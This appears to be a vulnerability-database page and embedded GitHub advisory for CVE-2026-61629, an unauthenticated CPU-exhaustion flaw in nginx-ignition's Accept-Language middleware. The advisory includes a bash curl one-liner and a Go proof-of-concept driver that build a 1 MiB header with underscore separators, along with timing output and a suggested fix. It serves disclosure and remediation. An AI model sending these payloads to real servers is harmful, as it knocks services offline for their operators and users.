CVE-2026-61629: Github.com/lucasdillmann/nginx ignition Nginx Ignition Has ParseAcceptLanguage `_` Vulnerability
HIGHCVE-2026-61629 is a HIGH (CVSS 7.5) nginx ignition has parseacceptlanguage `_` vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/lucasdillmann/nginx ignition libraries in the Go ecosystem. The issue involves nginx ignition has parseacceptlanguage `_` separator bypass that enables ~75x cpu amplification via accept-language header in i18nmiddleware. Remediation is available by upgrading affected packages to version 0.0.0-20260526022344-0c988fc1277c.
CVE-2026-61629 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-61629
To remediate this vulnerability, upgrade all affected Github.com/lucasdillmann/nginx ignition dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lucasdillmann/nginx-ignition to 0.0.0-20260526022344-0c988fc1277c
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lucasdillmann/nginx-ignition
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-61629, inspect your project dependencies for Github.com/lucasdillmann/nginx ignition:
inspect dependencies for github.com/lucasdillmann/nginx-ignition
Analyze the terminal output to locate any version of Github.com/lucasdillmann/nginx ignition in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260526022344-0c988fc1277c), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/lucasdillmann/nginx ignition, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61629 Affected Github.com/lucasdillmann/nginx ignition Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lucasdillmann/nginx-ignition
|
Go |
≥ 0.0.0-20260126024607-cbaf0fc16ed8
< 0.0.0-20260526022344-0c988fc1277c
|
0.0.0-20260526022344-0c988fc1277c
|
References
Frequently Asked Questions
What is CVE-2026-61629?
Which Github.com/lucasdillmann/nginx ignition versions are affected?
What version fixes CVE-2026-61629?
Is github.com/lucasdillmann/nginx-ignition affected?
What is the CVSS score of CVE-2026-61629?
What CWE is associated with CVE-2026-61629?
How can I check Go dependencies for CVE-2026-61629?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jr34-h97m-9hpx",
"modified" : "2026-09-21T21:49:03Z",
"published" : "2026-09-21T21:49:03Z",
"aliases" : [ "CVE-2026-61629" ],
"summary" : "nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware",
"details" : "### Summary\n\nThe gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`dillmann.com.br/nginx-ignition` v2.40.0 and (per code inspection of `main`) earlier 2.x versions whose `api/common/server/i18n.go` middleware routes the `Accept-Language` header through `language.ParseAcceptLanguage` without imposing its own size or character filter. Verified on:\n\n- the official `dillmann/nginx-ignition:latest` Docker image at v2.40.0 (E2E below)\n- `main` at commit `faef4c99442b329cfa4ee8879bdba41c22866a18` by reading `api/common/server/i18n.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated `/api/health` style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.\n\n### Vulnerable code\n\n[`api/common/server/i18n.go`](https://github.com/lucasdillmann/nginx-ignition/blob/faef4c99442b329cfa4ee8879bdba41c22866a18/api/common/server/i18n.go) (blob SHA `faef4c99442b329cfa4ee8879bdba41c22866a18`):\n\n```go\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n return func(ginCtx *gin.Context) {\n lang := commands.DefaultLanguage()\n\n langHeader := ginCtx.GetHeader(\"Accept-Language\")\n tags, _, err := language.ParseAcceptLanguage(langHeader)\n if err == nil && len(tags) > 0 {\n for _, tag := range tags {\n if commands.Supports(tag) {\n lang = tag\n break\n }\n }\n }\n\n //nolint:staticcheck\n updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n ginCtx.Set(i18n.ContextKey, lang)\n ginCtx.Next()\n }\n}\n```\n\n`ginCtx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the nginx-ignition API server passes through `i18nMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `i18nMiddleware`.\n2. `ginCtx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `language.ParseAcceptLanguage(langHeader)` runs unfiltered.\n\nNo size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and `/api/health` (which returns 404 but still completes the middleware chain).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `dillmann/nginx-ignition:latest` container:\n\n```bash\ndocker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 100000, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w 'http=%{http_code} t=%{time_total}\\n' \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:18090/api/health\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `dillmann/nginx-ignition:latest` at v2.40.0)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18090/api/health\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) <= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := &http.Client{\n Timeout: 60 * time.Second,\n Transport: &http.Transport{\n DisableKeepAlives: true,\n DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires ('-' x 1MiB)\", buildPayload(\"-\", 1<<20))\n send(\"attack ('_' x 1MiB)\", buildPayload(\"_\", 1<<20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1<<20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1<<20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `dillmann/nginx-ignition:latest` image at v2.40.0):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\nlucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at\napi/common/server/i18n.go.\n\nTarget: http://127.0.0.1:18090/api/health payload=1048576 B\n\n warm-up header=0 B '_'=0 '-'=0 status=404 t=10.336041ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B '_'=0 '-'=0 status=404 t=4.211583ms\n baseline (1 short tag) header=5 B '_'=0 '-'=1 status=404 t=3.276416ms\n guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=404 t=31.683792ms\n attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=404 t=2.429408875s\n attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=404 t=3.589948166s\n attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=404 t=2.415860875s\n```\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 3 - 11 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms |\n| 1 MiB `_` separators (guard bypassed) | 1 MiB | 2.4 - 3.6 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 32 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.\n- The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.\n- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter inside the middleware before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// api/common/server/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send < 10\n\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n return func(ginCtx *gin.Context) {\n lang := commands.DefaultLanguage()\n\n langHeader := ginCtx.GetHeader(\"Accept-Language\")\n if strings.Count(langHeader, \"-\")+strings.Count(langHeader, \"_\") > maxAcceptLanguageSeparators {\n // Refuse to call into the BCP 47 parser with absurd input.\n langHeader = \"\"\n }\n tags, _, err := language.ParseAcceptLanguage(langHeader)\n if err == nil && len(tags) > 0 {\n for _, tag := range tags {\n if commands.Supports(tag) {\n lang = tag\n break\n }\n }\n }\n\n //nolint:staticcheck\n updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n ginCtx.Set(i18n.ContextKey, lang)\n ginCtx.Next()\n }\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lucasdillmann/nginx-ignition"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.0.0-20260126024607-cbaf0fc16ed8"
}, {
"fixed" : "0.0.0-20260526022344-0c988fc1277c"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-jr34-h97m-9hpx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61629"
}, {
"type" : "WEB",
"url" : "https://github.com/lucasdillmann/nginx-ignition/pull/125"
}, {
"type" : "WEB",
"url" : "https://github.com/lucasdillmann/nginx-ignition/commit/0c988fc1277c7d291725e8373313f8486fa1b31a"
}, {
"type" : "WEB",
"url" : "https://github.com/lucasdillmann/nginx-ignition/commit/cbaf0fc16ed873f7178a2ca9b0d00a696e44b485"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lucasdillmann/nginx-ignition"
}, {
"type" : "WEB",
"url" : "https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.40.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-21T21:49:03Z",
"nvd_published_at" : "2026-09-21T15:17:30Z"
}
}